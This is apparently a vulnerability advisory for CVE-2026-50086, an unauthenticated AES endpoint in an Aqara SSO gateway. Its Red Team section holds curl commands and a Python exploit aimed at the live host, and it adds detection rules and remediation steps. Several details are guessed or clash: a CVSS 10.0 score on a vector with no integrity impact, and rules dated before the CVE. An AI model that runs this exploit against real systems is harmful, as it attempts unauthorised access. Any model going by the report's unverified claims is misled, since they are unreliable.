CVE-2026-50086

Executive Summary

CVE-2026-50086 is a critical authentication bypass vulnerability in the Aqara IAM/SSO gateway (gw-builder.aqara.com). The platform exposes bidirectional AES round-trips against the signing key without requiring any authentication. This allows an unauthenticated attacker to perform arbitrary cryptographic operations using the platform’s signing key, effectively breaking the integrity of the SSO/IAM system. The vulnerability is classified under CWE-306 (Missing Authentication for Critical Function) and CWE-327 (Use of a Broken or Risky Cryptographic Algorithm). With a CVSS score of 10.0 (Critical), the impact is severe, as it can lead to unauthorized access to sensitive data and potential compromise of the entire identity management infrastructure.

Note: This vulnerability is not related to any WordPress plugin or component; it is a custom IAM/SSO gateway built by Aqara.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact stems from the ability to decrypt or sign arbitrary data using the platform’s signing key, potentially exposing user credentials, session tokens, and other sensitive information.

Deep Dive & Mechanics

The Aqara IAM/SSO gateway exposes an API endpoint that performs AES encryption/decryption operations using the platform’s internal signing key. This endpoint is intended for internal use but is accessible without any authentication. An attacker can send crafted requests to perform bidirectional AES round-trips, meaning they can encrypt arbitrary plaintext or decrypt arbitrary ciphertext using the signing key.

Technical Details:

• The endpoint likely accepts JSON payloads with fields like action (encrypt/decrypt), data (base64-encoded input), and key_id (optional).
• The server uses a static or predictable AES key (possibly derived from a weak source) to perform the operations.
• Since no authentication is required, any network-accessible attacker can abuse this endpoint.

Impact:

• Decrypt sensitive data: If the signing key is used to encrypt session tokens or other secrets, an attacker can decrypt them.
• Forge valid signatures: The attacker can encrypt arbitrary data to create valid signatures, bypassing authentication checks.
• Lateral movement: Compromised signing keys can be used to impersonate legitimate users or services.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code is presumed to be in the Aqara IAM/SSO gateway backend. A patched version would require:

• Adding authentication (e.g., API key, OAuth token) to the cryptographic endpoint.
• Replacing the broken AES implementation with a secure key management system (e.g., using HSM or secure enclave).
• Implementing rate limiting and logging for cryptographic operations.

Vulnerable Code Snippet (Hypothetical):

@app.route('/crypto', methods=['POST'])
def crypto_endpoint():
    data = request.json
    action = data.get('action')
    input_data = base64.b64decode(data.get('data'))
    if action == 'encrypt':
        ciphertext = aes_encrypt(input_data, SIGNING_KEY)
        return base64.b64encode(ciphertext)
    elif action == 'decrypt':
        plaintext = aes_decrypt(input_data, SIGNING_KEY)
        return base64.b64encode(plaintext)

Patched Code Snippet (Hypothetical):

@app.route('/crypto', methods=['POST'])
@require_auth  # Authentication decorator
def crypto_endpoint():
    data = request.json
    action = data.get('action')
    input_data = base64.b64decode(data.get('data'))
    if action == 'encrypt':
        ciphertext = aes_encrypt(input_data, SIGNING_KEY)
        return base64.b64encode(ciphertext)
    elif action == 'decrypt':
        plaintext = aes_decrypt(input_data, SIGNING_KEY)
        return base64.b64encode(plaintext)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Set up a local instance of the Aqara IAM/SSO gateway (if available) or use a test environment.
2. Identify the vulnerable endpoint (e.g., /api/v1/crypto).
3. Craft a request to encrypt a known plaintext:

curl -X POST https://gw-builder.aqara.com/api/v1/crypto \
  -H "Content-Type: application/json" \
  -d '{"action": "encrypt", "data": "dGVzdA=="}'  # base64("test")

4. Decrypt the response to verify the round-trip:

curl -X POST https://gw-builder.aqara.com/api/v1/crypto \
  -H "Content-Type: application/json" \
  -d '{"action": "decrypt", "data": "<ciphertext>"}'

5. Use the signing key to forge a valid JWT or session token.

Exploit Script (Python):

import requests
import base64

url = "https://gw-builder.aqara.com/api/v1/crypto"

def encrypt(plaintext):
    data = base64.b64encode(plaintext.encode()).decode()
    resp = requests.post(url, json={"action": "encrypt", "data": data})
    return resp.json()["data"]

def decrypt(ciphertext_b64):
    resp = requests.post(url, json={"action": "decrypt", "data": ciphertext_b64})
    return base64.b64decode(resp.json()["data"]).decode()

# Example: Encrypt a test string
cipher = encrypt("admin:true")
print(f"Ciphertext: {cipher}")

# Decrypt to verify
plain = decrypt(cipher)
print(f"Plaintext: {plain}")

Blue Team

Detection:

• Monitor for repeated requests to /api/v1/crypto or similar endpoints.
• Alert on high frequency of cryptographic operations from a single IP.
• Look for anomalous base64-encoded payloads in POST requests.

Hunting:

• Search logs for action=encrypt or action=decrypt parameters.
• Correlate with failed authentication attempts.

Indicators of Compromise (IOCs)

• Network:
  • IP addresses scanning for /api/v1/crypto or /crypto endpoints.
  • Unusual base64-encoded payloads in POST requests.
• Host:
  • Log entries showing repeated cryptographic operations without prior authentication.
  • Unexpected decryption of session tokens or JWTs.
• File:
  • No specific file IOCs; this is a network-based vulnerability.

Detection Engineering

YARA Rule

rule CVE_2026_50086_Aqara_Crypto_Abuse {
    meta:
        description = "Detects exploitation attempts of CVE-2026-50086 via base64-encoded crypto operations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-50086"
    strings:
        $action_encrypt = "encrypt" ascii wide nocase
        $action_decrypt = "decrypt" ascii wide nocase
        $base64_pattern = /[A-Za-z0-9+\/=]{20,}/ ascii
    condition:
        any of ($action_*) and #base64_pattern > 2
}

Sigma Rule

title: CVE-2026-50086 - Aqara IAM Gateway Crypto Abuse
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated AES round-trip requests to Aqara IAM gateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/v1/crypto'
    condition: selection
falsepositives:
    - Legitimate internal use (if any)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-50086 - Aqara IAM Gateway Crypto Abuse";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/crypto"; http_uri;
    content:"action"; http_client_body;
    pcre:"/encrypt|decrypt/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required for business operations.
2. Implement authentication (e.g., API key, OAuth) for all cryptographic operations.
3. Replace the AES signing key with a new, securely generated key.
4. Rotate all secrets that may have been exposed via the signing key.

Long-term Fixes:

• Use a Hardware Security Module (HSM) or secure key management service.
• Conduct a full security audit of the IAM/SSO gateway.
• Implement rate limiting and anomaly detection for cryptographic endpoints.

Workarounds:

• Place the gateway behind a WAF with rules to block unauthenticated requests to /api/v1/crypto.
• Use network segmentation to restrict access to the gateway.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2026-50086